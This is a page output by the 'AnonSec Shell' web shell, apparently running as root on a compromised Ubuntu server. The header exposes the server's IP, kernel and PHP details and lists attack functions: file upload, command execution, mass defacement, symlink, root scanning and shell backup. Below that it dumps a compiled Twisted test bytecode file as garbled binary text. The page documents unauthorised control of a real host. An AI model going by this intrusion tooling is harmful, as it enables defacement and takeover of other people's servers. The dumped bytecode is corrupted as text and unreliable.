AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/trial/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/trial/test/__pycache__/test_script.cpython-310.pyc
o

�b�r�@szddlZddlZddlZddlZddlZddlmZddlmZddl	m
Z
ddlmZddl
mZddlmZddlmZdd	lmZmZmZmZdd
lmZed�Zdd
�ZGdd�dej�ZGdd�dej�ZGdd�dej�Z Gdd�dej�Z!Gdd�dej�Z"Gdd�dej#�Z$Gdd�dej#�Z%Gdd�dej#�Z&Gdd�dej#�Z'Gd d!�d!ej#�Z(Gd"d#�d#ej#�Z)dS)$�N)�StringIO)�util)�FilePath)�
UsageError)�trial)�unittest)�DistTrialRunner)�DestructiveTestSuite�
TestLoader�	TestSuite�TrialRunner)�	testNamesrcCst�t|�S)z1
    For finding files in twisted/trial/test
    )r�sibpath�__file__)�filename�r�@/usr/lib/python3/dist-packages/twisted/trial/test/test_script.pyrsrc@s@eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dS)�ForceGarbageCollectionTestsz*
    Tests for the --force-gc option.
    cCs>t��|_g|_|�td|j�t�|j	�}t
||g�|_dS)N�collect)r�Options�config�log�patch�gcr�pyunit�FunctionTestCase�
simpleTestr�test)�selfrrrr�setUp)s

z!ForceGarbageCollectionTests.setUpcC�|j�d�dS)zD
        A simple test method that records that it was run.
        rN�r�append�rrrrr0�z&ForceGarbageCollectionTests.simpleTestcCr )zI
        A replacement for gc.collect that logs calls to itself.
        rNr!r#rrrr6r$z#ForceGarbageCollectionTests.collectcCst�|j�}t�|_|S)zN
        Return a L{TrialRunner} object that is safe to use in tests.
        )r�_makeRunnerrr�stream�r�runnerrrr�
makeRunner<sz&ForceGarbageCollectionTests.makeRunnercCs>d|jd<|j��|��}|�|j�|�|jgd��dS)z�
        Passing the --force-gc option to the trial script forces the garbage
        collector to run before and after each test.
        Tzforce-gc)rrrrrrN�r�postOptionsr)�runr�assertEqualrr'rrr�test_forceGcDs


�z(ForceGarbageCollectionTests.test_forceGccCs4|j��|��}|�|j�|�|jddg�dS)z>
        By default, no garbage collection is forced.
        rNr*r'rrr�test_unforceGcQs
z*ForceGarbageCollectionTests.test_unforceGcN)
�__name__�
__module__�__qualname__�__doc__rrrr)r.r/rrrrr$s
rc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�SuiteUsedTestsz?
    Check the category of tests suite used by the loader.
    cC�t��|_dS)z6
        Create a trial configuration object.
        N�rrrr#rrrr`�zSuiteUsedTests.setUpcCst�|j�}|�|jt�dS)zK
        By default, the loader should use L{DestructiveTestSuite}
        N)r�
_getLoaderrr-�suiteFactoryr	�r�loaderrrr�test_defaultSuitefsz SuiteUsedTests.test_defaultSuitecCs(d|jd<t�|j�}|�|jt�dS)zw
        The C{until-failure} configuration uses the L{TestSuite} to keep
        instances alive across runs.
        Tz
until-failureN)rrr8r-r9rr:rrr�test_untilFailureSuitems
z%SuiteUsedTests.test_untilFailureSuiteN)r0r1r2r3rr<r=rrrrr4[s
r4c@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5S)6�TestModuleTestscC�t��|_dS�Nr6r#rrrrx�zTestModuleTests.setUpcCs
d|_dSr@)rr#rrr�tearDown{�
zTestModuleTests.tearDowncCs|�t|�|��g�dS)zq
        Check that the testNames helper method accurately collects the
        names of tests in suite.
        N)r-r
�idr#rrr�test_testNames~szTestModuleTests.test_testNamescCsBt�}t|�}ttt|j|���}|��|��|�||�dSr@)r
r
r�map�
loadByName�sortr-)r�test1�namesr;�names1�names2rrr�assertSuitesEqual�sz!TestModuleTests.assertSuitesEqualcCs|�dt|jd��dS)Nr�tests)r-�lenrr#rrr�test_baseState�szTestModuleTests.test_baseStatecC�*|j�td��|�t�|j�dg�dS)z�
        Check that --testmodule loads a suite which contains the tests
        referred to in test-case-name inside its parameter.
        �
moduletest.py�twisted.trial.test.test_logN�r�opt_testmodulerrMr�	_getSuiter#rrr�test_testmoduleOnModule���z'TestModuleTests.test_testmoduleOnModulecCs:|j�td��|j�td��|�t�|j�dg�dS)z�
        When the same module is specified with two --testmodule flags, it
        should only appear once in the suite.
        rRrSNrTr#rrr�test_testmoduleTwice�s
�z$TestModuleTests.test_testmoduleTwicecCs:|j�td��|j�td��|�t�|j�dg�dS)z�
        If --testmodule is specified twice, once for module A and once for
        a module which refers to module A, then make sure module A is only
        added once.
        rRztest_log.pyrSNrTr#rrr� test_testmoduleOnSourceAndTarget�s
�z0TestModuleTests.test_testmoduleOnSourceAndTargetcCrQ)z�
        When given a module that refers to *itself* in the test-case-name
        variable, check that --testmodule only adds the tests once.
        z
moduleself.pyztwisted.trial.test.moduleselfNrTr#rrr�test_testmoduleOnSelfModule�rXz+TestModuleTests.test_testmoduleOnSelfModulecCs,|j�td��|�t�|j�ddg�dS)zm
        Check that --testmodule loads tests referred to in test-case-name
        buffer variables.
        �
scripttest.pyrS�twisted.trial.test.test_runnerNrTr#rrr�test_testmoduleOnScript�s

�z'TestModuleTests.test_testmoduleOnScriptcC�ht�}tj|}t_d}z#|j�|�|�dt|jd��|�d|�d�|���W|t_dS|t_w)zz
        Check that --testmodule displays a meaningful error message when
        passed a non-existent filename.
        ztest_thisbetternoteverexist.pyrrN�File � doesn't exist
N�r�sys�stderrrrUr-rO�getvalue)r�buffyrdrrrr� test_testmoduleOnNonexistentFile��z0TestModuleTests.test_testmoduleOnNonexistentFilecCs*|j�td��|�dt|jd��dS)z�
        Check that --testmodule adds no tests to the suite for modules
        which lack test-case-name buffer variables.
        �	novars.pyrrNN)rrUrr-rOr#rrr�test_testmoduleOnEmptyVars�sz*TestModuleTests.test_testmoduleOnEmptyVarscCr_)z�
        Check that --testmodule does *not* support module names as arguments
        and that it displays a meaningful error message.
        ztwisted.trial.test.test_scriptrrNr`raNrb)rrfrd�
moduleNamerrr�test_testmoduleOnModuleName�rhz+TestModuleTests.test_testmoduleOnModuleNamecC�"d}t�|�}|�ddi|�dS)Nz5-*- test-case-name: twisted.trial.test.test_tests -*-�test-case-name�twisted.trial.test.test_tests�r�_parseLocalVariablesr-�r�declaration�	localVarsrrr�test_parseLocalVariable��
z'TestModuleTests.test_parseLocalVariablecCrm)Nz6-*- test-case-name: twisted.trial.test.test_tests; -*-rnrorprrrrr�test_trailingSemicolon�rvz&TestModuleTests.test_trailingSemicoloncCs$d}t�|�}|�ddd�|�dS)Nz?-*- test-case-name: twisted.trial.test.test_tests; foo: bar -*-ro�bar)rn�foorprrrrr�test_parseLocalVariables�s�

�z(TestModuleTests.test_parseLocalVariablescCrm)Nz:## -*- test-case-name: twisted.trial.test.test_tests -*- #rnrorprrrrr�test_surroundingGuff�rvz$TestModuleTests.test_surroundingGuffcCs|�ttjd�dS�Nry��assertRaises�
ValueErrorrrqr#rrr�test_invalidLinesz TestModuleTests.test_invalidLinecCs4|�ttjd�|�ttjd�|�ttjd�dS)Nz-*- foo -*-z-*- foo: bar; qux -*-z-*- foo: bar: baz; qux: qax -*-r}r#rrr�test_invalidDeclarations��z'TestModuleTests.test_invalidDeclarationcC�"t�td��}|�ddi|�dS)NrRrnrS�r�loadLocalVariablesrr-�rrtrrr�test_variablesFromFile�z&TestModuleTests.test_variablesFromFilecCst�td��}|�i|�dS)Nrir�r�rrr�test_noVariablesInFilesz&TestModuleTests.test_noVariablesInFilecCr�)Nr\rnz:twisted.trial.test.test_log,twisted.trial.test.test_runnerr�r�rrr�test_variablesFromScripts��z(TestModuleTests.test_variablesFromScriptcCs t�td��}|�|dg�dS)NrRrS)r�getTestModulesrr-�r�modulesrrr�test_getTestModules#sz#TestModuleTests.test_getTestModulescCs"t�td��}|�t|�d�dS)Nrir)rr�rr-rOr�rrr�test_getTestModules_noVars'r�z*TestModuleTests.test_getTestModules_noVarscCs&t�td��}|�t|�ddh�dS)Nr\rSr])rr�rr-�setr�rrr�test_getTestModules_multiple+s
�z,TestModuleTests.test_getTestModules_multiplecCsVdD]}|�t�|�|�d��qdtd�td�fD]}|�t�|�|�d��qdS)N)ztest_script.pyz!twisted/trial/test/test_script.pyz should be a test filez twisted/trial/test/moduletest.pyr\ztest_foo.batz should *not* be a test file)�
assertTruer�
isTestFiler�assertFalse)rrrrr�test_looksLikeTestModule2s����z(TestModuleTests.test_looksLikeTestModuleN)r0r1r2rrBrErMrPrWrYrZr[r^rgrjrlrurwrzr{r�r�r�r�r�r�r�r�r�rrrrr>ws6

		r>c@�HeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dS)�WithoutModuleTestsz*
    Test the C{without-module} flag.
    cCst��|_ttj�|_dS)zl
        Create a L{trial.Options} object to be used in the tests, and save
        C{sys.modules}.
        N)rrr�dictrcr��savedModulesr#rrrrHs
zWithoutModuleTests.setUpcCs8dD]}||jvr|j|tj|<qtj�|d�qdS)z)
        Restore C{sys.modules}.
        )�imaplib�smtplibN)r�rcr��pop)r�modulerrrrBPs

�zWithoutModuleTests.tearDowncC�ddl}|S)zE
        Try to import the C{smtplib} module, and return it.
        rN)r�)rr�rrr�
_checkSMTPZ�zWithoutModuleTests._checkSMTPcCr�)zE
        Try to import the C{imaplib} module, and return it.
        rN)r�)rr�rrr�
_checkIMAPbr�zWithoutModuleTests._checkIMAPcCs<|j�ddg�|�t|j�tjd=|�|��tj	�dS)zT
        Check that after disabling a module, it can't be imported anymore.
        �--without-moduler�N)
r�parseOptionsr~�ImportErrorr�rcr��assertIsInstance�types�
ModuleTyper#rrr�test_disableOneModulejsz(WithoutModuleTests.test_disableOneModulecCsd|j�ddg�|�t|j�|�t|j�tjd=tjd=|�|��t	j
�|�|��t	j
�dS)zE
        Check that several modules can be disabled at once.
        r�zsmtplib,imaplibr�r�N)rr�r~r�r�r�rcr�r�r�r�r#rrr�test_disableMultipleModulesusz.WithoutModuleTests.test_disableMultipleModulescCs@|�|��tj�|�tdtj|jj	ddg�|�
t|j�dS)zP
        Disabling an already imported module should produce a warning.
        z4Module 'smtplib' already imported, disabling anyway.r�r�N)r�r�r�r��assertWarns�RuntimeWarningrrrr�r~r�r#rrr�!test_disableAlreadyImportedModule�s�z4WithoutModuleTests.test_disableAlreadyImportedModuleN)r0r1r2r3rrBr�r�r�r�r�rrrrr�Cs
r�c@sDeZdZdZeedd�durdZdd�Zdd�Zd	d
�Z	dd�Z
dS)
�
CoverageTestsz+
    Tests for the I{coverage} option.
    �gettraceNz;Cannot test trace hook installation without inspection API.cCs|�tjt���dS)zf
        Arrange for the current trace hook to be restored when the
        test is complete.
        N)�
addCleanuprc�settracer�r#rrrr�szCoverageTests.setUpcCs,t��}|�dg�|�t��|jj�dS)z}
        L{trial.Options} handles C{"--coverage"} by installing a trace
        hook to record coverage information.
        z
--coverageN)rrr�r-rcr��tracer�globaltrace�r�optionsrrr�test_tracerInstalled�sz"CoverageTests.test_tracerInstalledcCs.t��}|�|��td��|ddg��dS)z�
        L{trial.Options.coverdir} returns a L{FilePath} based on the default
        for the I{temp-directory} option if that option is not specified.
        �.ztemp-directory�coverageN)rrr-�coverdirr�
descendantr�rrr�test_coverdirDefault�s
�z"CoverageTests.test_coverdirDefaultcCs<|��}t��}|�d|g�|�|��t|��d��dS)z�
        If a value is specified for the I{temp-directory} option,
        L{trial.Options.coverdir} returns a child of that path.
        z--temp-directoryr�N)�mktemprrr�r-r�r�child)r�pathr�rrr�test_coverdirOverridden�sz%CoverageTests.test_coverdirOverridden)r0r1r2r3�getattrrc�skiprr�r�r�rrrrr��s	r�c@r�)�OptionsTestsz%
    Tests for L{trial.Options}.
    cCr5)zE
        Build an L{Options} object to be used in the tests.
        N�rrr�r#rrrr�r7zOptionsTests.setUpcCsj|�tjt���t��r|�tj�|j�gd��|j�	�}|�
d|�|�d�|�ddg|�dS)z�
        C{_getWorkerArguments} discards options like C{random} as they only
        matter in the manager, and forwards options like C{recursionlimit} or
        C{disablegc}.
        )�--recursionlimit�2000�--random�4�--disablegcr�r�r�N)
r�rc�setrecursionlimit�getrecursionlimitr�	isenabled�enabler�r��_getWorkerArguments�assertIn�remover-)r�argsrrr�test_getWorkerArguments�s�

z$OptionsTests.test_getWorkerArgumentscC�*|�t|jjgd��}|�dt|��dS)z�
        C{parseOptions} raises a C{UsageError} when C{--debug} is passed along
        C{--jobs} as it's not supported yet.

        @see: U{http://twistedmatrix.com/trac/ticket/5825}
        )�--jobsr��--debugz+You can't specify --debug when using --jobsN�r~rr�r�r-�str�r�errorrrr�test_jobsConflictWithDebug���z'OptionsTests.test_jobsConflictWithDebugcCr�)z�
        C{parseOptions} raises a C{UsageError} when C{--profile} is passed
        along C{--jobs} as it's not supported yet.

        @see: U{http://twistedmatrix.com/trac/ticket/5827}
        )r�r�z	--profilez-You can't specify --profile when using --jobsNr�r�rrr�test_jobsConflictWithProfile�r�z)OptionsTests.test_jobsConflictWithProfilecCr�)z�
        C{parseOptions} raises a C{UsageError} when C{--debug-stacktraces} is
        passed along C{--jobs} as it's not supported yet.

        @see: U{http://twistedmatrix.com/trac/ticket/5826}
        )r�r�z--debug-stacktracesz7You can't specify --debug-stacktraces when using --jobsNr�r�rrr�%test_jobsConflictWithDebugStackTraces�s��z2OptionsTests.test_jobsConflictWithDebugStackTracescCr�)z�
        C{parseOptions} raises a C{UsageError} when C{--exitfirst} is passed
        along C{--jobs} as it's not supported yet.

        @see: U{http://twistedmatrix.com/trac/ticket/6436}
        )r�r��--exitfirstz/You can't specify --exitfirst when using --jobsNr�r�rrr�test_jobsConflictWithExitFirstr�z+OptionsTests.test_jobsConflictWithExitFirstcCr�)zr
        C{parseOptions} raises a C{UsageError} when C{--order} is passed along
        with C{--random}.
        )�--order�alphabeticalr��1234z-You can't specify --random when using --orderNr�r�rrr�test_orderConflictWithRandoms�z)OptionsTests.test_orderConflictWithRandomN)r0r1r2r3rr�r�r�r�r�r�rrrrr��sr�c@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
�MakeRunnerTestsz.
    Tests for the L{_makeRunner} helper.
    cCr?r@r�r#rrrr#rAzMakeRunnerTests.setUpcCsJ|j�gd��t�|j�}|�|t�|�d|j�|�dg|j�dS)z�
        L{_makeRunner} returns a L{DistTrialRunner} instance when the C{--jobs}
        option is passed, and passes the C{workerNumber} and C{workerArguments}
        parameters to it.
        )r�r��
--force-gc�r�N)	r�r�rr%r�rr-�
_workerNumber�_workerArgumentsr'rrr�	test_jobs&s
zMakeRunnerTests.test_jobscCs<|j�gd��t�|j�}|�|t�|�tj|j�dS)z�
        L{_makeRunner} returns a L{TrialRunner} instance in C{DRY_RUN} mode
        when the C{--dry-run} option is passed, even if C{--jobs} is set.
        )r�r�z	--dry-runN)	r�r�rr%r�rr-�DRY_RUN�moder'rrr�test_dryRunWithJobs2sz#MakeRunnerTests.test_dryRunWithJobscsPtjj��fdd�}|�tjd|�t��}|�gd��|�tjtj|�dS)Ncs|dkr
tj�|���|�S)N�	doNotFind)r�reflect�ModuleNotFound)�fqn��namedAnyrr�namedAnyExceptdoNotFind?szFMakeRunnerTests.test_DebuggerNotFound.<locals>.namedAnyExceptdoNotFindr�)r�z
--debuggerr�)	rr�r�rrr�r~�_DebuggerNotFoundr%)rr�r�rr�r�test_DebuggerNotFound<sz%MakeRunnerTests.test_DebuggerNotFoundcCs*|j�dg�t�|j�}|�|j�dS)z�
        Passing C{--exitfirst} wraps the reporter with a
        L{reporter._ExitWrapper} that stops on any non-success.
        r�N)r�r�rr%r��
_exitFirstr'rrr�test_exitfirstKszMakeRunnerTests.test_exitfirstN)	r0r1r2r3rr�r�r�r�rrrrr�s
r�c@� eZdZdZdd�Zdd�ZdS)�RunTestsz(
    Tests for the L{run} function.
    cCs|�tjddd��dS)Nr�cSsdSr@rr#rrr�<lambda>]sz RunTests.setUp.<locals>.<lambda>)rrrr#rrrrZszRunTests.setUpc
Cshdd�}|�td|�zt��Wnty,}z|�dt|��WYd}~dSd}~ww|�d�dS)zY
        When a debugger is not found, an error message is printed to the user.

        c_s
t�d��r|)rr�)r��kwargsrrrr%erCz3RunTests.test_debuggerNotFound.<locals>._makeRunnerr%ryNz0Should have exited due to non-existent debugger!)rrr,�
SystemExitr�r��fail)rr%�errr�test_debuggerNotFound_s��zRunTests.test_debuggerNotFoundN)r0r1r2r3rr�rrrrr�Usr�c@r�)�TestArgumentOrderTestszQ
    Tests for the order-preserving behavior on provided command-line tests.
    cCst��|_t�|_dSr@)rrrr
r;r#rrrrws
zTestArgumentOrderTests.setUpcCsRgd�}|j�|�t�|j�}t|�}tt|jj|��}t|�}|�	||�dS)zN
        Multiple tests passed on the command line are not reordered.
        )roz"twisted.trial.test.test_assertionsz twisted.trial.test.test_deferredN)
rr�rrVr
rrFr;rGr-)rrN�suiterJ�
expectedSuite�
expectedNamesrrr�test_preserveArgumentOrder{sz1TestArgumentOrderTests.test_preserveArgumentOrderN)r0r1r2r3rrrrrrr�rsr�c@sXeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�ZdS)�
OrderTestsz'
    Tests for the --order option.
    cCr?r@r6r#rrrr�rAzOrderTests.setUpcC�D|j�gd��t�|j�}|�|jd�}|�t|�gd��dS)zn
        --order=alphabetical causes trial to run tests alphabetically within
        each test case.
        )r�r��%twisted.trial.test.ordertests.FooTestrN)�0twisted.trial.test.ordertests.FooTest.test_first�1twisted.trial.test.ordertests.FooTest.test_fourth�1twisted.trial.test.ordertests.FooTest.test_second�0twisted.trial.test.ordertests.FooTest.test_thirdN�rr�rr8�loadByNamesr-r
�rr;r�rrr�test_alphabetical�s��zOrderTests.test_alphabeticalcCr)zu
        --order=alphabetical causes trial to run test classes within a given
        module alphabetically.
        )r�r��twisted.trial.test.ordertestsrN)�.twisted.trial.test.ordertests.BarTest.test_bar�.twisted.trial.test.ordertests.BazTest.test_bazrrrrNr	rrrr�test_alphabeticalModule����z"OrderTests.test_alphabeticalModulecCsV|j�gd��t�|j�}|�|jd�}t|�}|j|dd�|�|t|��dS)z�
        --order=alphabetical causes trial to run test modules within a given
        package alphabetically, with tests within each module alphabetized.
        )r�r��twisted.trial.testrNzFailed to load any tests!��msgN)	rr�rr8r
r
r�r-�sorted�rr;r�rJrrr�test_alphabeticalPackage�sz#OrderTests.test_alphabeticalPackagecCr)z�
        --order=toptobottom causes trial to run test methods within a given
        test case from top to bottom as they are defined in the body of the
        class.
        )r��toptobottomrrN)rrrrNr	rrrr�test_toptobottom�s��zOrderTests.test_toptobottomcCr)z�
        --order=toptobottom causes trial to run test classes within a given
        module from top to bottom as they are defined in the module's source.
        �r�rr
rN)rrrrrrNr	rrrr�test_toptobottomModule�rz!OrderTests.test_toptobottomModulecCsP|j�gd��t�|j�}|�|jd�}t|�}|�|t|dd�d��dS)z�
        --order=toptobottom causes trial to run test modules within a given
        package alphabetically, with tests within each module run top to
        bottom.
        )r�rrrNcSs|�d�dd�S)Nr�r�)�split)�namerrrr�sz4OrderTests.test_toptobottomPackage.<locals>.<lambda>)�keyN)rr�rr8r
r
r-rrrrr�test_toptobottomPackage�s�z"OrderTests.test_toptobottomPackagecCs�|��}t|��d�}|��|�d��d�|�d��t�d��d��|��j	}t
j	�d|�|�t
j	j
|�ddlm}|�t
jjd�|�t
jj|j�|�d��
�|j�gd	��t�|j�}|�|�}|�t|�gd
��dS)z{
        --order=toptobottom detects the source line of methods from modules
        whose source file is missing.
        �twisted_toptobottom_tempz__init__.py�ztest_missing.pya
        from twisted.trial.unittest import TestCase
        class TestMissing(TestCase):
            def test_second(self): pass
            def test_third(self): pass
            def test_fourth(self): pass
            def test_first(self): pass
        �utf8r)�test_missingr)z=twisted_toptobottom_temp.test_missing.TestMissing.test_secondz<twisted_toptobottom_temp.test_missing.TestMissing.test_thirdz=twisted_toptobottom_temp.test_missing.TestMissing.test_fourthz<twisted_toptobottom_temp.test_missing.TestMissing.test_firstN)r�rr��makedirs�
setContent�textwrap�dedent�encode�parentr�rc�insertr�r�r r#r�r�r0rr�rr8�
loadModuler-r
)r�tempdir�package�	pathEntryr#r;r�rrr�test_toptobottomMissingSources4
�	�
�
�z(OrderTests.test_toptobottomMissingSourcecCs|�t|jjddg�dS)zL
        An unknown order passed to --order raises a L{UsageError}.
        r�z
I don't existN)r~rrr�r#rrr�test_unknownOrder?s�zOrderTests.test_unknownOrderN)
r0r1r2r3rrrrrrrr/r0rrrrr�s
.rc@seZdZdZdd�ZdS)�HelpOrderTestsz+
    Tests for the --help-orders flag.
    cCs�|�tdt��|�tt��jdg�}|�|j	d�tj
��}d}tj�
�D]"\}\}}t�t�|��dt�|���|�}|j||||fd�q&dS)zS
        --help-orders prints each of the available orders and then exits.
        �stdoutz
--help-ordersrz4%r with its description not properly described in %rz.*rN)rrcrr~r�rrr�r-�coder2re�
_runOrders�items�re�search�escaper�)r�exc�outputr�	orderName�	orderDesc�_�matchrrr�&test_help_ordersPrintsSynopsisAndQuitsNs�
��z5HelpOrderTests.test_help_ordersPrintsSynopsisAndQuitsN)r0r1r2r3r?rrrrr1Isr1)*rr6rcr&r��ior�twisted.pythonr�twisted.python.filepathr�twisted.python.usager�twisted.scriptsr�
twisted.trialr�twisted.trial._dist.disttrialr�twisted.trial.runnerr	r
rr�twisted.trial.test.test_loaderr
�
__import__rr�SynchronousTestCaserr4r>r�r��TestCaser�r�r�r�rr1rrrr�<module>s:7MO.^7;

Anon7 - 2022
AnonSec Team